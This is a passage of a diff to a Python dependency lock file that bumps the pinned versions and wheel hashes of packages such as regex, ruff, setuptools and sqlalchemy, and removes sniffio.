"sha256:5ec1d7c080832fdd4e150c6f5621fe674c70c63b3ae5a4454cebd7796263b175"}, + {file = "regex-2026.2.19-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:8457c1bc10ee9b29cdfd897ccda41dce6bde0e9abd514bcfef7bcd05e254d411"}, + {file = "regex-2026.2.19-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:cce8027010d1ffa3eb89a0b19621cdc78ae548ea2b49fea1f7bfb3ea77064c2b"}, + {file = "regex-2026.2.19-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:11c138febb40546ff9e026dbbc41dc9fb8b29e61013fa5848ccfe045f5b23b83"}, + {file = "regex-2026.2.19-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:74ff212aa61532246bb3036b3dfea62233414b0154b8bc3676975da78383cac3"}, + {file = "regex-2026.2.19-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d00c95a2b6bfeb3ea1cb68d1751b1dfce2b05adc2a72c488d77a780db06ab867"}, + {file = "regex-2026.2.19-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:311fcccb76af31be4c588d5a17f8f1a059ae8f4b097192896ebffc95612f223a"}, + {file = "regex-2026.2.19-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:77cfd6b5e7c4e8bf7a39d243ea05882acf5e3c7002b0ef4756de6606893b0ecd"}, + {file = "regex-2026.2.19-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:6380f29ff212ec922b6efb56100c089251940e0526a0d05aa7c2d9b571ddf2fe"}, + {file = "regex-2026.2.19-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:655f553a1fa3ab8a7fd570eca793408b8d26a80bfd89ed24d116baaf13a38969"}, + {file = "regex-2026.2.19-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:015088b8558502f1f0bccd58754835aa154a7a5b0bd9d4c9b7b96ff4ae9ba876"}, + {file = "regex-2026.2.19-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9e6693b8567a59459b5dda19104c4a4dbbd4a1c78833eacc758796f2cfef1854"}, + {file = "regex-2026.2.19-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:4071209fd4376ab5ceec72ad3507e9d3517c59e38a889079b98916477a871868"}, + {file = "regex-2026.2.19-cp314-cp314t-win32.whl", hash = "sha256:2905ff4a97fad42f2d0834d8b1ea3c2f856ec209837e458d71a061a7d05f9f01"}, + {file = "regex-2026.2.19-cp314-cp314t-win_amd64.whl", hash = "sha256:64128549b600987e0f335c2365879895f860a9161f283b14207c800a6ed623d3"}, + {file = "regex-2026.2.19-cp314-cp314t-win_arm64.whl", hash = "sha256:a09ae430e94c049dc6957f6baa35ee3418a3a77f3c12b6e02883bd80a2b679b0"}, + {file = "regex-2026.2.19.tar.gz", hash = "sha256:6fb8cb09b10e38f3ae17cc6dc04a1df77762bd0351b6ba9041438e7cc85ec310"}, ] [[package]] @@ -1785,14 +1968,14 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "requests-file" -version = "2.1.0" +version = "3.0.1" description = "File transport adapter for Requests" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "requests_file-2.1.0-py2.py3-none-any.whl", hash = "sha256:cf270de5a4c5874e84599fc5778303d496c10ae5e870bfa378818f35d21bda5c"}, - {file = "requests_file-2.1.0.tar.gz", hash = "sha256:0f549a3f3b0699415ac04d167e9cb39bccfb730cb832b4d20be3d9867356e658"}, + {file = "requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2"}, + {file = "requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576"}, ] [package.dependencies] @@ -1815,53 +1998,52 @@ pyasn1 = ">=0.1.3" [[package]] name = "ruff" -version = "0.12.12" +version = "0.15.2" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.12.12-py3-none-linux_armv6l.whl", hash = "sha256:de1c4b916d98ab289818e55ce481e2cacfaad7710b01d1f990c497edf217dafc"}, - {file = "ruff-0.12.12-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:7acd6045e87fac75a0b0cdedacf9ab3e1ad9d929d149785903cff9bb69ad9727"}, - {file = "ruff-0.12.12-py3-none-macosx_11_0_arm64.whl", hash = "sha256:abf4073688d7d6da16611f2f126be86523a8ec4343d15d276c614bda8ec44edb"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:968e77094b1d7a576992ac078557d1439df678a34c6fe02fd979f973af167577"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:42a67d16e5b1ffc6d21c5f67851e0e769517fb57a8ebad1d0781b30888aa704e"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b216ec0a0674e4b1214dcc998a5088e54eaf39417327b19ffefba1c4a1e4971e"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:59f909c0fdd8f1dcdbfed0b9569b8bf428cf144bec87d9de298dcd4723f5bee8"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9ac93d87047e765336f0c18eacad51dad0c1c33c9df7484c40f98e1d773876f5"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:01543c137fd3650d322922e8b14cc133b8ea734617c4891c5a9fccf4bfc9aa92"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2afc2fa864197634e549d87fb1e7b6feb01df0a80fd510d6489e1ce8c0b1cc45"}, - {file = "ruff-0.12.12-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:0c0945246f5ad776cb8925e36af2438e66188d2b57d9cf2eed2c382c58b371e5"}, - {file = "ruff-0.12.12-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a0fbafe8c58e37aae28b84a80ba1817f2ea552e9450156018a478bf1fa80f4e4"}, - {file = "ruff-0.12.12-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:b9c456fb2fc8e1282affa932c9e40f5ec31ec9cbb66751a316bd131273b57c23"}, - {file = "ruff-0.12.12-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5f12856123b0ad0147d90b3961f5c90e7427f9acd4b40050705499c98983f489"}, - {file = "ruff-0.12.12-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:26a1b5a2bf7dd2c47e3b46d077cd9c0fc3b93e6c6cc9ed750bd312ae9dc302ee"}, - {file = "ruff-0.12.12-py3-none-win32.whl", hash = "sha256:173be2bfc142af07a01e3a759aba6f7791aa47acf3604f610b1c36db888df7b1"}, - {file = "ruff-0.12.12-py3-none-win_amd64.whl", hash = "sha256:e99620bf01884e5f38611934c09dd194eb665b0109104acae3ba6102b600fd0d"}, - {file = "ruff-0.12.12-py3-none-win_arm64.whl", hash = "sha256:2a8199cab4ce4d72d158319b63370abf60991495fb733db96cd923a34c52d093"}, - {file = "ruff-0.12.12.tar.gz", hash = "sha256:b86cd3415dbe31b3b46a71c598f4c4b2f550346d1ccf6326b347cc0c8fd063d6"}, + {file = "ruff-0.15.2-py3-none-linux_armv6l.whl", hash = "sha256:120691a6fdae2f16d65435648160f5b81a9625288f75544dc40637436b5d3c0d"}, + {file = "ruff-0.15.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a89056d831256099658b6bba4037ac6dd06f49d194199215befe2bb10457ea5e"}, + {file = "ruff-0.15.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e36dee3a64be0ebd23c86ffa3aa3fd3ac9a712ff295e192243f814a830b6bd87"}, + {file = "ruff-0.15.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a9fb47b6d9764677f8c0a193c0943ce9a05d6763523f132325af8a858eadc2b9"}, + {file = "ruff-0.15.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f376990f9d0d6442ea9014b19621d8f2aaf2b8e39fdbfc79220b7f0c596c9b80"}, + {file = "ruff-0.15.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2dcc987551952d73cbf5c88d9fdee815618d497e4df86cd4c4824cc59d5dd75f"}, + {file = "ruff-0.15.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:42a47fd785cbe8c01b9ff45031af875d101b040ad8f4de7bbb716487c74c9a77"}, + {file = "ruff-0.15.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cbe9f49354866e575b4c6943856989f966421870e85cd2ac94dccb0a9dcb2fea"}, + {file = "ruff-0.15.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7a672c82b5f9887576087d97be5ce439f04bbaf548ee987b92d3a7dede41d3a"}, + {file = "ruff-0.15.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:72ecc64f46f7019e2bcc3cdc05d4a7da958b629a5ab7033195e11a438403d956"}, + {file = "ruff-0.15.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:8dcf243b15b561c655c1ef2f2b0050e5d50db37fe90115507f6ff37d865dc8b4"}, + {file = "ruff-0.15.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:dab6941c862c05739774677c6273166d2510d254dac0695c0e3f5efa1b5585de"}, + {file = "ruff-0.15.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1b9164f57fc36058e9a6806eb92af185b0697c9fe4c7c52caa431c6554521e5c"}, + {file = "ruff-0.15.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:80d24fcae24d42659db7e335b9e1531697a7102c19185b8dc4a028b952865fd8"}, + {file = "ruff-0.15.2-py3-none-win32.whl", hash = "sha256:fd5ff9e5f519a7e1bd99cbe8daa324010a74f5e2ebc97c6242c08f26f3714f6f"}, + {file = "ruff-0.15.2-py3-none-win_amd64.whl", hash = "sha256:d20014e3dfa400f3ff84830dfb5755ece2de45ab62ecea4af6b7262d0fb4f7c5"}, + {file = "ruff-0.15.2-py3-none-win_arm64.whl", hash = "sha256:cabddc5822acdc8f7b5527b36ceac55cc51eec7b1946e60181de8fe83ca8876e"}, + {file = "ruff-0.15.2.tar.gz", hash = "sha256:14b965afee0969e68bb871eba625343b8673375f457af4abe98553e8bbb98342"}, ] [[package]] name = "setuptools" -version = "80.9.0" +version = "82.0.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922"}, - {file = "setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c"}, + {file = "setuptools-82.0.0-py3-none-any.whl", hash = "sha256:70b18734b607bd1da571d097d236cfcfacaf01de45717d59e6e04b96877532e0"}, + {file = "setuptools-82.0.0.tar.gz", hash = "sha256:22e0a2d69474c6ae4feb01951cb69d515ed23728cf96d05513d36e42b62b37cb"}, ] [package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] -core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1)", "ruff (>=0.13.0)"] +core = ["importlib_metadata (>=6)", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1)", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] enabler = ["pytest-enabler (>=2.2)"] -test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] -type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] +test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] +type = ["importlib_metadata (>=7.0.2)", "jaraco.develop (>=7.21)", "mypy (==1.18.*)", "pytest-mypy"] [[package]] name = "simple-websocket" @@ -1894,87 +2076,77 @@ files = [ {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] -[[package]] -name = "sniffio" -version = "1.3.1" -description = "Sniff out which async library your code is running under" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev"] -files = [ - {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, - {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, -] - [[package]] name = "sqlalchemy" -version = "2.0.43" +version = "2.0.46" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "SQLAlchemy-2.0.43-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:21ba7a08a4253c5825d1db389d4299f64a100ef9800e4624c8bf70d8f136e6ed"}, - {file = "SQLAlchemy-2.0.43-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:11b9503fa6f8721bef9b8567730f664c5a5153d25e247aadc69247c4bc605227"}, - {file = "SQLAlchemy-2.0.43-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07097c0a1886c150ef2adba2ff7437e84d40c0f7dcb44a2c2b9c905ccfc6361c"}, - {file = "SQLAlchemy-2.0.43-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:cdeff998cb294896a34e5b2f00e383e7c5c4ef3b4bfa375d9104723f15186443"}, - {file = "SQLAlchemy-2.0.43-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:bcf0724a62a5670e5718957e05c56ec2d6850267ea859f8ad2481838f889b42c"}, - {file = "SQLAlchemy-2.0.43-cp37-cp37m-win32.whl", hash = "sha256:c697575d0e2b0a5f0433f679bda22f63873821d991e95a90e9e52aae517b2e32"}, - {file = "SQLAlchemy-2.0.43-cp37-cp37m-win_amd64.whl", hash = "sha256:d34c0f6dbefd2e816e8f341d0df7d4763d382e3f452423e752ffd1e213da2512"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:70322986c0c699dca241418fcf18e637a4369e0ec50540a2b907b184c8bca069"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:87accdbba88f33efa7b592dc2e8b2a9c2cdbca73db2f9d5c510790428c09c154"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c00e7845d2f692ebfc7d5e4ec1a3fd87698e4337d09e58d6749a16aedfdf8612"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:022e436a1cb39b13756cf93b48ecce7aa95382b9cfacceb80a7d263129dfd019"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c5e73ba0d76eefc82ec0219d2301cb33bfe5205ed7a2602523111e2e56ccbd20"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9c2e02f06c68092b875d5cbe4824238ab93a7fa35d9c38052c033f7ca45daa18"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-win32.whl", hash = "sha256:e7a903b5b45b0d9fa03ac6a331e1c1d6b7e0ab41c63b6217b3d10357b83c8b00"}, - {file = "sqlalchemy-2.0.43-cp310-cp310-win_amd64.whl", hash = "sha256:4bf0edb24c128b7be0c61cd17eef432e4bef507013292415f3fb7023f02b7d4b"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:52d9b73b8fb3e9da34c2b31e6d99d60f5f99fd8c1225c9dad24aeb74a91e1d29"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f42f23e152e4545157fa367b2435a1ace7571cab016ca26038867eb7df2c3631"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4fb1a8c5438e0c5ea51afe9c6564f951525795cf432bed0c028c1cb081276685"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db691fa174e8f7036afefe3061bc40ac2b770718be2862bfb03aabae09051aca"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:fe2b3b4927d0bc03d02ad883f402d5de201dbc8894ac87d2e981e7d87430e60d"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4d3d9b904ad4a6b175a2de0738248822f5ac410f52c2fd389ada0b5262d6a1e3"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-win32.whl", hash = "sha256:5cda6b51faff2639296e276591808c1726c4a77929cfaa0f514f30a5f6156921"}, - {file = "sqlalchemy-2.0.43-cp311-cp311-win_amd64.whl", hash = "sha256:c5d1730b25d9a07727d20ad74bc1039bbbb0a6ca24e6769861c1aa5bf2c4c4a8"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:20d81fc2736509d7a2bd33292e489b056cbae543661bb7de7ce9f1c0cd6e7f24"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:25b9fc27650ff5a2c9d490c13c14906b918b0de1f8fcbb4c992712d8caf40e83"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6772e3ca8a43a65a37c88e2f3e2adfd511b0b1da37ef11ed78dea16aeae85bd9"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a113da919c25f7f641ffbd07fbc9077abd4b3b75097c888ab818f962707eb48"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4286a1139f14b7d70141c67a8ae1582fc2b69105f1b09d9573494eb4bb4b2687"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:529064085be2f4d8a6e5fab12d36ad44f1909a18848fcfbdb59cc6d4bbe48efe"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-win32.whl", hash = "sha256:b535d35dea8bbb8195e7e2b40059e2253acb2b7579b73c1b432a35363694641d"}, - {file = "sqlalchemy-2.0.43-cp312-cp312-win_amd64.whl", hash = "sha256:1c6d85327ca688dbae7e2b06d7d84cfe4f3fffa5b5f9e21bb6ce9d0e1a0e0e0a"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e7c08f57f75a2bb62d7ee80a89686a5e5669f199235c6d1dac75cd59374091c3"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:14111d22c29efad445cd5021a70a8b42f7d9152d8ba7f73304c4d82460946aaa"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21b27b56eb2f82653168cefe6cb8e970cdaf4f3a6cb2c5e3c3c1cf3158968ff9"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c5a9da957c56e43d72126a3f5845603da00e0293720b03bde0aacffcf2dc04f"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5d79f9fdc9584ec83d1b3c75e9f4595c49017f5594fee1a2217117647225d738"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9df7126fd9db49e3a5a3999442cc67e9ee8971f3cb9644250107d7296cb2a164"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-win32.whl", hash = "sha256:7f1ac7828857fcedb0361b48b9ac4821469f7694089d15550bbcf9ab22564a1d"}, - {file = "sqlalchemy-2.0.43-cp313-cp313-win_amd64.whl", hash = "sha256:971ba928fcde01869361f504fcff3b7143b47d30de188b11c6357c0505824197"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:4e6aeb2e0932f32950cf56a8b4813cb15ff792fc0c9b3752eaf067cfe298496a"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:61f964a05356f4bca4112e6334ed7c208174511bd56e6b8fc86dad4d024d4185"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46293c39252f93ea0910aababa8752ad628bcce3a10d3f260648dd472256983f"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:136063a68644eca9339d02e6693932116f6a8591ac013b0014479a1de664e40a"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:6e2bf13d9256398d037fef09fd8bf9b0bf77876e22647d10761d35593b9ac547"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:44337823462291f17f994d64282a71c51d738fc9ef561bf265f1d0fd9116a782"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-win32.whl", hash = "sha256:13194276e69bb2af56198fef7909d48fd34820de01d9c92711a5fa45497cc7ed"}, - {file = "sqlalchemy-2.0.43-cp38-cp38-win_amd64.whl", hash = "sha256:334f41fa28de9f9be4b78445e68530da3c5fa054c907176460c81494f4ae1f5e"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ceb5c832cc30663aeaf5e39657712f4c4241ad1f638d487ef7216258f6d41fe7"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:11f43c39b4b2ec755573952bbcc58d976779d482f6f832d7f33a8d869ae891bf"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:413391b2239db55be14fa4223034d7e13325a1812c8396ecd4f2c08696d5ccad"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c379e37b08c6c527181a397212346be39319fb64323741d23e46abd97a400d34"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:03d73ab2a37d9e40dec4984d1813d7878e01dbdc742448d44a7341b7a9f408c7"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8cee08f15d9e238ede42e9bbc1d6e7158d0ca4f176e4eab21f88ac819ae3bd7b"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-win32.whl", hash = "sha256:b3edaec7e8b6dc5cd94523c6df4f294014df67097c8217a89929c99975811414"}, - {file = "sqlalchemy-2.0.43-cp39-cp39-win_amd64.whl", hash = "sha256:227119ce0a89e762ecd882dc661e0aa677a690c914e358f0dd8932a2e8b2765b"}, - {file = "sqlalchemy-2.0.43-py3-none-any.whl", hash = "sha256:1681c21dd2ccee222c2fe0bef671d1aef7c504087c9c4e800371cfcc8ac966fc"}, - {file = "sqlalchemy-2.0.43.tar.gz", hash = "sha256:788bfcef6787a7764169cfe9859fe425bf44559619e1d9f56f5bddf2ebf6f417"}, + {file = "sqlalchemy-2.0.46-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:895296687ad06dc9b11a024cf68e8d9d3943aa0b4964278d2553b86f1b267735"}, + {file = "sqlalchemy-2.0.46-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab65cb2885a9f80f979b85aa4e9c9165a31381ca322cbde7c638fe6eefd1ec39"}, + {file = "sqlalchemy-2.0.46-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:52fe29b3817bd191cc20bad564237c808967972c97fa683c04b28ec8979ae36f"}, + {file = "sqlalchemy-2.0.46-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:09168817d6c19954d3b7655da6ba87fcb3a62bb575fb396a81a8b6a9fadfe8b5"}, + {file = "sqlalchemy-2.0.46-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:be6c0466b4c25b44c5d82b0426b5501de3c424d7a3220e86cd32f319ba56798e"}, + {file = "sqlalchemy-2.0.46-cp310-cp310-win32.whl", hash = "sha256:1bc3f601f0a818d27bfe139f6766487d9c88502062a2cd3a7ee6c342e81d5047"}, + {file = "sqlalchemy-2.0.46-cp310-cp310-win_amd64.whl", hash = "sha256:e0c05aff5c6b1bb5fb46a87e0f9d2f733f83ef6cbbbcd5c642b6c01678268061"}, + {file = "sqlalchemy-2.0.46-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:261c4b1f101b4a411154f1da2b76497d73abbfc42740029205d4d01fa1052684"}, + {file = "sqlalchemy-2.0.46-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:181903fe8c1b9082995325f1b2e84ac078b1189e2819380c2303a5f90e114a62"}, + {file = "sqlalchemy-2.0.46-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:590be24e20e2424a4c3c1b0835e9405fa3d0af5823a1a9fc02e5dff56471515f"}, + {file = "sqlalchemy-2.0.46-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7568fe771f974abadce52669ef3a03150ff03186d8eb82613bc8adc435a03f01"}, + {file = "sqlalchemy-2.0.46-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf7e1e78af38047e08836d33502c7a278915698b7c2145d045f780201679999"}, + {file = "sqlalchemy-2.0.46-cp311-cp311-win32.whl", hash = "sha256:9d80ea2ac519c364a7286e8d765d6cd08648f5b21ca855a8017d9871f075542d"}, + {file = "sqlalchemy-2.0.46-cp311-cp311-win_amd64.whl", hash = "sha256:585af6afe518732d9ccd3aea33af2edaae4a7aa881af5d8f6f4fe3a368699597"}, + {file = "sqlalchemy-2.0.46-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3a9a72b0da8387f15d5810f1facca8f879de9b85af8c645138cba61ea147968c"}, + {file = "sqlalchemy-2.0.46-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2347c3f0efc4de367ba00218e0ae5c4ba2306e47216ef80d6e31761ac97cb0b9"}, + {file = 